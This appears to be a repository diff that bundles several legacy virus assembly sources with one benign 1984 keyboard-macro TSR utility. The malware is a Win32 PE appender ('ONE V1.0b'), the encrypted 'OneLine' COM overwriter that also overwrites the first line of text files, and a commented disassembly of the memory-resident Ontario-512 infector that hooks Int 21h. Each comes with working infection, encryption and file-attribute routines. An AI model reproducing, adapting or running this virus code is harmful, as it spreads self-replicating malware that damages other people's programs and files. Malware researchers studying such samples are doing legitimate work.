jnz MainLoop ;Yes, Continue search.
RestoreHost:
popad
ret
;***********************
;****** Functions ******
;***********************
;**** InfectFile ****
InfectFile PROC
;Append virus code to end of last object.
mov edx, [ebp+OldPhysSize] ;Physical size of object.
add edx, [esi+20d] ;Physical offset of object.
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
lea eax, v_start ;EAX = start of virus.
add eax, ebp ;Plus delta offset.
mov ecx, v_size ;Number of bytes to write.
call WriteMem ;write it.
;Write new object table to host.
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
add eax, 3Ch ;Offset of -> to PE header.
mov eax, [eax] ;EAX -> PE header
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
add eax, 18h ;EAX -> AFTER flags field.
xor edx, edx ;EDX = 0h
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
add edx, eax
lea eax, ObjectTable ;EAX -> new object table.
add eax, ebp ;Add delta offset.
mov ecx, 240d ;Size of new object table.
call WriteMem ;Write it.
;Write new PE header to host.
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
add edx, 3Ch ;Offset of -> to PE header.
mov edx, [edx] ;EDX -> PE header
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
lea eax, PE_Header ;EAX = offset of new PE header.
add eax, ebp ;Plus delta offset.
mov ecx, 54h ;Size of new PE header.
call WriteMem ;Write it.
ret
InfectFile ENDP
;**** WriteMem ****
WriteMem PROC
WM_NextByte:
mov bl, [eax] ;Byte from virus.
mov [edx], bl ;Write to host.
dec ecx ;One less byte to write.
inc eax ;Next virus byte.
inc edx ;Next target byte.
cmp ecx, 0 ;Did we write the whole virus?
jne WM_NextByte ;Nope, do next byte.
ret
WriteMem ENDP
;**** ReadInPEHeader ****
ReadInPEHeader PROC
call SetNOAttribs ;Needed for OpenFile.
jc RIPH_Failed ;Couldnt remove attributes.
call OpenFile ;Open the file.
jc RIPH_Failed ;Couldnt open this file.
;Move file pointer to where the offset to PE should be.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits to move.
mov eax, 3Ch ;-> offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in offset of PE header in file.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 4 ;# of bytes to read.
lea eax, [ebp+DataFromFile] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Move the file pointer to the PE header.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
mov eax, [ebp+DataFromFile] ;Offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in the PE header.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 54h ;# of bytes to read.
lea eax, [ebp+PE_Header] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 54h ;Did we read in enough?
jne RIPH_Failed ;Nope.
mov eax, [ebp+Reserved9] ;EAX = infection marker.
cmp eax, 0h ;Is it infected already?
jne RIPH_Failed ;Yes.
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
cmp ax, 'EP' ;Is this a PE file?
jne RIPH_Failed ;Nope.
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
cmp ax, 6 ;Too many objects?
ja RIPH_Failed ;Yep
;Move file pointer to object table in file.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
xor eax, eax
mov ax, [ebp+NT_HDR_Size] ;NT header size.
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
add eax, 18h ;AFTER flags field in header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in object table.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 240d ;# of bytes to read.
lea eax, [ebp+ObjectTable] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 240d ;Did we read enough?
jne RIPH_Failed ;Nope.
;Save Original entry point.
mov eax, [ebp+ImageBase] ;Files base address
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
mov [ebp+OldEA], eax ;Save it.
;** Figure out sizes for object and size of file **
;Get offset to DATA of the object we will infect.
xor eax, eax
mov ax, [ebp+NumbOfObjects] ;Number of objects.
dec eax ;We want last object.
mov ecx, 40 ;Each object 40 bytes
xor edx, edx
mul ecx ;#OfObj-1*40=last object.
lea esi, [ebp+ObjectTable] ;ESI -> object table.
add esi, eax ;ESI = ptr to last Object Entry.
;Set new physical size for object.
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
mov eax, [esi+16d] ;Get physical size of object.
mov [ebp+OldPhysSize], eax ;Save it.
push eax ;Save for figuring new entry point.
add eax, v_size ;Size of virus.
call AlignFix ;Figure new size.
mov dword ptr [esi+16d], eax ;Set new physical size.
;Set new virtual size for object.
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
push ecx ;Save for below.
mov eax, [esi+8] ;Get object virtual size.
add eax, v_size ;Add our virtual size.
call AlignFix ;Set on obj alignment.
mov dword ptr [esi+8], eax ;Set new virtual size.
mov [esi+36d], 0C0000040h ; set object flags
;Set new image size.
pop ecx ;ECX = object alignment vlaue.
mov eax, v_size ;EAX = size of virus.
add eax, dword ptr [ebp+ImageSize] ;add to old image size
call AlignFix ;Figure new size.
mov [ebp+ImageSize], eax ;Set new ImageSize.
;Set new entrypoint.
pop eax ;EAX = physical size of infected object.
add eax, [esi+12d] ;Add objects RVA.
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
;** Figure new physical size for mapping. **
;Get files size.
push 0
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
mov [ebp+SizeOfHost], eax ;Save size.
mov [ebp+Reserved9], eax ;Mark as infected.
;Figure new size.
mov ebx, [esi+16d] ;Object physical size.
add ebx, [esi+20d] ;Add physical offset of object.
cmp ebx, eax ;Which is larger?
ja RIPH_NewSize ;File size should be larger.
jmp RIPH_Done ;Return success.
RIPH_NewSize:
mov ecx, [ebp+FileAlign] ;File align value
mov eax, ebx ;Size now.
call AlignFix ;Figure new size.
mov [ebp+SizeOfHost], eax ;Save new size.
jmp RIPH_Done
RIPH_Failed:
xor ebx, ebx ;Mark failure.
RIPH_Done:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore its attributes.
ret
ReadInPEHeader ENDP
;**** SetNOAttribs ****
;This function first saves a files attributes to OrigFileAttribs,
;then sets the files attributes to "normal" so that the file can
;be written to. On errors, the carry flag is set.
SetNOAttribs PROC
;Get the files attributes.
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfGetFileAttributesA]
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
;Set file attributes to none so we can write to it if needed.
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name to stack.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
SetNOAttribs ENDP
;**** MapFile ****
;This proc gets a files(file in FileFoundData) size, creates a mapped
;object of the size needed, then maps the file into the object created.
;Carry flag is set on errors.
MapFile PROC
;Create File mapping object.
push 0 ;Dont need a name.
mov eax, [ebp+SizeOfHost] ;Size of object.
push eax
push 0 ;Not used.
push PAGE_READWRITE ;We need read+write access.
push 0 ;Default security.
push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
cmp eax, 0 ;Did we fail?
je OF_Failed ;Yep.
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
;Map file into object.
push 0 ;Map WHOLE file.
;Offsets are not needed cause we're gonna start mapping at the
;beginning of the file.
push 0 ;Low order 32 bits of offset.
push 0 ;High order 32 bits of offset.
push FILE_MAP_WRITE ;We need Read+Write access.
push eax ;Handle of mapping object.
call [ebp+lpfMapViewOfFile] ;Map the file
;Dont ask me why, but this returns some fucked up handle
;to memory that doesnt appear to exist, and the file doesnt
;seem to be read into memory until this memory is actually
;accessed(which magically does NOT cause a page fault)!
;weird! (I could be wrong, maybe just my debugger...)
mov [ebp+MapBaseAddr], eax ;Save base Address.
cmp eax, 0 ;Did we fail?
jne MP_Success ;We succeeded
stc
MP_Success:
ret
MapFile ENDP
;**** RestoreAttribs ****
;This proc restores the attributes of the file pointed to by
;FoundFileData. CarryFlag is NOT set on errors.
RestoreAttribs PROC
;Restore file attributes.
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
RestoreAttribs ENDP
;**** OpenFile ****
;This proc just opens the file pointed to in FoundFileData.
;If successful, the OPEN files handle is put into OpenFileHandle.
;If errors happen, the carry flag is set.
OpenFile PROC
;Open the file.
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0 ;0=Request exclusive access
push GENERIC_READ + GENERIC_WRITE
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name on stack.
call [ebp+lpfCreateFileA] ;Open file.
cmp eax, 0FFFFFFFFh ;Did we fail?
je OF_Failed ;Jeah, we failed. (SETS CARRY)
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
clc ;Clear carry flag (no errors)
ret
OF_Failed:
stc ;Set carry flag.
ret
OpenFile ENDP
;**** CloseFile ****
;This proc just closes the file pointed to by OpenFileHandle.
;Carry flag is NOT set if errors occur.(what for?)
CloseFile PROC
;Close the file.
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
call [ebp+lpfCloseHandle] ;Close it
ret
CloseFile ENDP
;**** AlignFix ****
AlignFix PROC
xor edx, edx
div ecx ;/alignment
inc eax ;next alignment
mul ecx ;*alignment
ret
AlignFix ENDP
;**** ExtractAbsoluteAddress ****
ExtractAbsoluteAddress PROC
pushad ;Save everything.
mov ecx, [esi] ;Get string length.
add esi, 4 ;Point to string
rep cmpsb ;Check the string.
popad ;Restore everything.
jne EAA_NotString ;This isn't the string - exit.
xchg esi, eax ;ESI = dword for address.
mov eax, [ebx+1Ch] ;RVA of Function Address array.
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
add eax, [ebp+K32Base] ;Plus DLL load address.
add eax, ecx ;Plus array offset.
mov eax, [eax] ;Get the address.
add eax, [ebp+K32Base] ;Plus DLL load address.
mov [esi], eax ;Save the address.
EAA_NotString:
ret
ExtractAbsoluteAddress ENDP
;**** MyGetProcAddress ****
MyGetProcAddress PROC
push eax ;lpProcName.
mov eax, [ebp+ModHandle] ;< hModule.
push eax ;<
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
cmp eax, 0 ;EAX = 0?
jne MyGetProcDone ;Nope, success.
stc ;Failure.
MyGetProcDone:
ret
MyGetProcAddress ENDP
; ****** DATA ******
K32Base dd 0 ;Start of K32 in memory.
UnnamedOffset dd 0
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
db "GetProcAddress",0
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
lpsExeFiles db '*.exe',0
OldEA dd 0 ;Original Entry Point(NOT RVA)
OldPhysSize dd 0 ;Old physical size of last object.
FoundFileHandle dd 0 ;Spot for handle of found files.
OpenFileHandle dd 0 ;Spot for handle of open files.
MappedObjectHandle dd 0 ;Handle of mapped object.
OrigFileAttribs dd 0 ;Spot for file attributes.
DataFromFile dd 0 ;Data read from file.
FileBytesRead dd 0 ;Number of bytes read.
MapBaseAddr dd 0 ;Base address of mapped object.
SizeOfHost dd 0 ;Size needed for mapped object.
PE_Header: ;Buffer for PE header.
Sig_Bytes: dd 0
CPU_Type: dw 0
NumbOfObjects dw 0
TimeStamp dd 0
Reserved1 dd 0
Reserved2 dd 0
NT_HDR_Size dw 0
Flags dw 0
Reserved3 dw 0
LMajor db 0
LMinor db 0
Reserved4 dd 0
Reserved5 dd 0
Reserved6 dd 0
EntryPointRVA dd 0
Reserved7 dd 0
Reserved8 dd 0
ImageBase dd 0
ObjectAlign dd 0
FileAlign dd 0
OS_Major dw 0
OS_Minor dw 0
UserMajor dw 0
UserMinor dw 0
SubSysMajor dw 0
SubSysMinor dw 0
Reserved9 dd 0
ImageSize dd 0 ;54h bytes.
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
ImportTable: ; :-)
db 'FindFirstFileA',0
lpfFindFirstFileA dd 0
db 'FindNextFileA',0
lpfFindNextFileA dd 0
db 'GetFileAttributesA',0
lpfGetFileAttributesA dd 0
db 'SetFileAttributesA',0
lpfSetFileAttributesA dd 0
db 'CreateFileA',0
lpfCreateFileA dd 0
db 'SetFilePointer',0
lpfSetFilePointer dd 0
db 'ReadFile',0
lpfReadFile dd 0
db 'GetFileSize',0
lpfGetFileSize dd 0
db 'CreateFileMappingA',0
lpfCreateFileMappingA dd 0
db 'MapViewOfFile',0
lpfMapViewOfFile dd 0
db 'UnmapViewOfFile',0
lpfUnmapViewOfFile dd 0
db 'CloseHandle',0
lpfCloseHandle dd 0
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
v_end:
end v_start

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,202 @@
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
ORG 9H*4 ;The keyboard Interrupt
KEYBOARD_INT_VECTOR LABEL DWORD
ORG 1CH*4 ;Timer Interrupt
TIMER_VECTOR LABEL DWORD
VECTORS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory
ORG 1AH ;This is where the keyboard buffer is.
ROM_BUFFER_HEAD DW ? ;The position of the buffer's head
ROM_BUFFER_TAIL DW ? ;And tail.
KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself
KB_BUFFER_END LABEL WORD ;Buffer's end is stored here.
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT ;Begin the Code segment holding the programs
ASSUME CS:CODE_SEG
ORG 100H ;Com files start at ORG 100H
BEGIN: JMP INIT_VECTORS ;Skip over data area
COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature
KEYS DW 30 DUP(0) ;The keys we replace
FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer
COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands
COMMAND_INDEX DW 1 ;Stores position in command (for timer)
ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals
ROM_TIMER DD 1 ;The Timer interrupt's address
INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is.
ASSUME DS:NOTHING ;Free DS
PUSH DS ;Save all used registers
PUSH SI
PUSH DI
PUSH DX
PUSH CX
PUSH BX
PUSH AX
PUSHF ;Pushf for Keyboard Int's IRET
CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer
ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals
CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed.
JNE NEWCHAR
JMP NO_NEW_CHARACTERS ;Jump out, no new characters.
NEWCHAR:SUB BX,2 ;Move back two bytes from tail;
CMP BX,OFFSET KB_BUFFER ;Do we have to wrap?
JAE NO_WRAP ;No
MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes
SUB BX,2 ; before buffer end.
NO_WRAP:MOV AX,[BX] ;Get the character into AX
CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command?
JE FIN ;Yes, proceed
JMP NO_NEW_CHARACTERS ;No, leave.
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
LEA SI,KEYS ;Point source index at keys to replace
MOV CX,30 ;Loop over all of them
LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)?
JE FOUND ;Yes, key found, continue on.
ADD SI,2 ;Point to next key to check it.
LOOP LOOPER ;Go back for next one.
JMP NO_NEW_CHARACTERS ;Loop finished without match - leave.
FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts
LEA SI,COMMANDS ;Set up to read command
NEG CX ;Find the location of first word of command
ADD CX,30
MOV AX,CX
MOV CX,102
MUL CL
ADD SI,AX
MOV COMMAND_INDEX,SI ;And move it into Command_Index
STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer.
ADD SI,2 ;Point to the command's next character
CMP AX,0 ;Is it a zero? (End of command)
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
JL NO_WRAP2 ;No, don't wrap
MOV DX,OFFSET KB_BUFFER ;Wrap
NO_WRAP2:
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
ADD COMMAND_INDEX,2 ;Move to next word in command
MOV [BX],AX ;Put it into the buffer right here.
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
JL NO_WRAP3 ;No, readjust buffer tail
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
NO_WRAP3:
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
JMP STUFF ;Back to stuff in another character.
BUFFER_FULL: ;If buffer is full, let timer take over
MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
NO_NEW_CHARACTERS:
POP AX ;Restore everything before departure.
POP BX
POP CX
POP DX
POP DI
POP SI
POP DS
STI
IRET ;An interrupt deserves an IRET
INTERCEPT_KEYBOARD_INT ENDP
ASSUME DS:CODE_SEG
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
PUSHF ;Store used flags
PUSH DS ;Save DS since we'll change it
PUSH CS ;Put current value of CS into DS
POP DS
CALL ROM_TIMER ;Make obligatory call
PUSHF
CMP FINISHED_FLAG,1 ;Do we have to do anything?
JE OUT ;No, leave
CLI ;Yes, start by clearing interrupts
PUSH DS ;Save these.
PUSH SI
PUSH DX
PUSH BX
PUSH AX
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail
MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV SI,COMMAND_INDEX ;Find where we left ourselves
STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above.
ADD SI,2 ;Point to next command character.
CMP AX,0 ;Is it zero? (end of command)
JNE OVER ;No, continue.
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
OVER: MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
JL NO_WRAP4 ;No, don't wrap
MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap.
NO_WRAP4:
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
JE BUFFER_FULL2 ;Time to leave, come back later.
ADD COMMAND_INDEX,2 ;Point to next word of command.
MOV [BX],AX ;Put into buffer
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
JL NO_WRAP5 ;No, readjust buffer tail
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
NO_WRAP5:
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
JMP STUFF2 ;Back to stuff in another character
BUFFER_FULL2:
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
NO_NEW_CHARACTERS2:
POP AX ;Restore these.
POP BX
POP DX
POP SI
POP DS
OUT: POPF ;And Exit.
POP DS
IRET ;With customary IRET
INTERCEPT_TIMER ENDP
INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here
ASSUME DS:VECTORS
PUSH DS
MOV AX,VECTORS
MOV DS,AX
CLI ;Don't allow interrupts
MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address
MOV ROM_KEYBOARD_INT,AX
MOV AX,KEYBOARD_INT_VECTOR[2]
MOV ROM_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT
MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place.
MOV AX,TIMER_VECTOR ;Now same for timer
MOV ROM_TIMER,AX
MOV AX,TIMER_VECTOR[2]
MOV ROM_TIMER[2],AX
MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
MOV TIMER_VECTOR[2],CS ;And intercept that too.
STI
ASSUME DS:ROM_BIOS_DATA
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer.
MOV ROM_BUFFER_HEAD,BX
MOV ROM_BUFFER_TAIL,BX
MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory
INT 27H ;And do so.
INIT_VECTORS ENDP
CODE_SEG ENDS
END BEGIN ;End Begin so that we jump there first.

View File

@ -0,0 +1,134 @@
; ------------------------------------------------------------
; -- The OneLine Virus --
; -- By Arsonic[CodeBreakers] --
; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
; ------------------------------------------------------------
; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
; shit. it will infect all *.com file in the current directory and overwrite
; the first line of all text files found with Famous Lines And Stuff..
; Detected By:
; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :)
; FPROT: ??? did'n have it on my computer at the time of scanning..
; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
jmp crypt_start
start:
mov di,si
mov cx,crypt_start
call crypt
jmp crypt_start
crypt:
xorloop:
lodsb
xor al,byte ptr[xor_value]
stosb
loop xorloop
ret
xor_value db 0
crypt_start:
mov ah,4eh
lea dx,mask
int 21h
jnc infect
jmp text
infect:
mov ax,3d02h
mov dx,9eh
int 21h
mov bx,ax
; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
in al,40h
mov byte ptr [xor_value],al
lea si,crypt_start
lea di,end
mov cx,end - crypt_start
call crypt
mov ah,40h
mov cx,crypt_start - start
lea dx,start
int 21h
mov ah,40h
mov cx,end - crypt_start
lea dx,end
int 21h
mov ah,3eh
int 21h
jmp find_next
find_next:
mov ah,3fh
int 21h
jnc infect
jmp text
text:
mov ah,4eh
lea dx,textmask
int 21h
jnc text_payload
jmp close
text_payload:
mov ax,3d02h
mov dx,9eh
int 21h
mov ah,40h
mov cx,message_end - message_start
lea dx,message_start
int 21h
mov ah,3fh
int 21h
jmp text_findnext
text_findnext:
mov ah,4fh
int 21h
jnc text_payload
jmp close
message_start:
db 'LEGALIZE CANNABUS!'
db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
db 'This is another 60 minutes...'
db 'Burn Baby, BURN!'
db 'Keep The Opressor Opressing..'
db 'Have U Had Your Break TodaY?'
db 'Oh I Wish I Was A Ocsar Myer Wiener!'
db 'What Came First The Chicken Or the Egg?'
db 'Help Me.. Help You!'
db 'SHOW ME THE MONEY!!'
db 'Take it Off Baby!'
db 'ADRIAN!!!!'
db 'Where do You Want To Go Today?'
db 'We Are the Shitty VR! VRLAND SUX SHIT!'
db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
message_end:
close:
int 20h
mask db '*.com',0
textmask db '*.txt',0
author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
virus db 'THE OnELINE VIRUS',13,10,'$'
origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
end:

View File

@ -0,0 +1,296 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;-* Ontario-512 Virus *-
;*- ~~~~~~~~~~~~~~~~~~~ -*
;-* Disassmembly by: Rock Steady/NuKE *-
;*- ~~~~~~~~~~~~~~~~ -*
;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *-
;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -*
;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *-
;*- -*
;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *-
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus segment byte public
assume cs:virus, ds:virus
org 100h ;Guess its a COM File huh?
ont proc far
start:
jmp go4it ;Jump to beginning of the
db 1Dh ;Virus And start!
db 'fected [NuKE]''92', 0Dh, 0Ah, '$'
mov dx,0102h ;This is the small File the Virus
mov ah,09h ;is infected to! As you see it only
int 21h ;displays that messages and exits
int 20h ;Exit Command for COMs
go4it:
nop
call decrypt ;Get Decryption value & Decrypt viri
call virus_start ;Start the Virus!
ont endp
;---------------------------------------------------------------------;
; The Start of the Virus Code ;
;---------------------------------------------------------------------;
virus_start proc near
pop bp
sub bp,7
mov ax,0FFFFh ;Is Virus in Memory hooked on?
int 21h ;the Int 21h?
or ah,ah ;
jz bye_bye ;Yes it is... Quit then...
push ds
xor ax,ax
mov ds,ax
sub word ptr ds:413h,2
lds bx,dword ptr ds:84h
mov word ptr cs:[200h][bp],bx
mov word ptr cs:[202h][bp],ds
mov bx,es
dec bx
mov ds,bx
sub word ptr ds:3,80h
mov ax,ds:12h
sub ax,80h
mov ds:12h,ax
mov es,ax
push cs
pop ds
mov si,bp
xor di,di
mov cx,204h
cld
rep movsb
mov ds,cx
cli ;This is where we hook the
mov word ptr ds:84h,7Fh ;virus to the Int21h
mov word ptr ds:84h+2,ax
sti
mov ax,4BFFh
int 21h
pop ds
push ds
pop es
bye_bye:
or bp,bp
jz what
lea si,[bp+7Bh]
nop
mov di,offset ds:[100h]
push di
cld
movsw
movsw
retn
what:
mov ax,es
add cs:7dh,ax
;* jmp far ptr go4it7
virus_start endp
db 0EAh,0EBh, 15h, 49h, 6Eh
cmp ax,0FFFFh
jne new_21h
inc ax
iret
;---------------------------------------------------------------------;
; Interrupt 21h handler ;
;---------------------------------------------------------------------;
new_21h:
cmp ah,4Bh ;Test, is File beginning Executed!
jne leave_ok ;Nope! Call Int21!
cmp al,3 ;Overlay, beginning execute?
je leave_ok ;Yes! Leave it alone
cmp al,0FFh ;Virus testing to see if its alive?
jne do_it_man ;in memory?
push cs
pop ds
mov dx,1DDh
call infect
iret
do_it_man:
call infect ;Infect file dude...
leave_ok:
jmp dword ptr cs:[200h] ;Int21 handler..
;---------------------------------------------------------------------;
; Infection Routine for the Ontario Virus ;
;---------------------------------------------------------------------;
infect proc near
push es
push ds ;Save them not to fuck things up..
push dx
push cx
push bx
push ax
mov ax,4300h ;Here we get the file attribute
call int21 ;for file to be infected.
jc outta ;Bitch Error encountered. Quit!
test cl,1 ;Test if its Read-Only!
jz attrib_ok ;Ok, it ain't Read-Only Continue!
and cl,0FEh ;Set Read-Only to normal Attribs
mov ax,4301h ;Call Ints to do it...
call int21 ;Bingo! Done!
jc outta ;Error encountered? Split if yes!
attrib_ok:
mov ax,3D02h ;Open file for Read/Write
call int21 ;Call Interrupt to do it!
jnc open_ok ;no errors? Continue!
outta:
jmp go4it5 ;Hey, Split Man... Errors happened!
open_ok:
mov bx,ax ;BX=File Handle
push cs
pop ds
mov ax,5700h ;Get File's Date & Time
call int21 ;Do it!
mov word ptr ds:[204h],cx ;Save Time
mov word ptr ds:[206h],dx ;Save Date
mov dx,208h ;DX=Pointer
mov cx,1Bh ;CX=Number of Btyes
mov ah,3Fh ;Read From File
call int21 ;Do It!
jc go4it1 ;Errors? Quit if yes!
cmp word ptr ds:[208h],5A4Dh ;Check if files already
je go4it0 ;infected.
mov al,byte ptr ds:[209h] ;Com , Exes...
cmp al,byte ptr ds:[20Bh]
je go4it1
xor dx,dx
xor cx,cx
mov ax,4202h
call int21 ;Move File pointer to end of
jc go4it1 ;file to be infected.
cmp ax,0E000h ;File bigger than E000 bytes?
ja go4it1 ;Error...
push ax ;Save File Length
mov ax,word ptr ds:[208h]
mov ds:7bh,ax
mov ax,word ptr ds:[20Ah]
mov ds:7dh,ax
pop ax ;All this is, is a complex
sub ax,3 ;way to do "JMP"
mov byte ptr ds:[208h],0E9h ;
mov word ptr ds:[209h],ax
mov byte ptr ds:[20Bh],al
jmp short go4it3 ;File READY Infect it!
db 90h ;NOP me... detection string?
go4it0:
cmp word ptr ds:[21Ch],1
jne go4it2
go4it1:
jmp go4it4
go4it2:
mov ax,word ptr ds:[20Ch]
mov cx,200h
mul cx
push ax
push dx
mov cl,4
ror dx,cl
shr ax,cl
add ax,dx
sub ax,word ptr ds:[210h]
push ax
mov ax,word ptr ds:[21Ch]
mov ds:7bh,ax
mov ax,word ptr ds:[21Eh]
add ax,10h
mov ds:7dh,ax
pop ax ; This is continues with the
mov word ptr ds:[21Eh],ax ; above to put a JMP at the
mov word ptr ds:[21Ch],1 ; beginning of the file!
inc word ptr ds:[20Ch] ;
pop cx ;
pop dx ;
mov ax,4200h ;
call int21
jc go4it4
go4it3:
xor byte ptr ds:[1F8h],8 ;
xor ax,ax ; Theses Lines copy the
mov ds,ax ; virus code else where
mov al,ds:46Ch ; in memory to get it
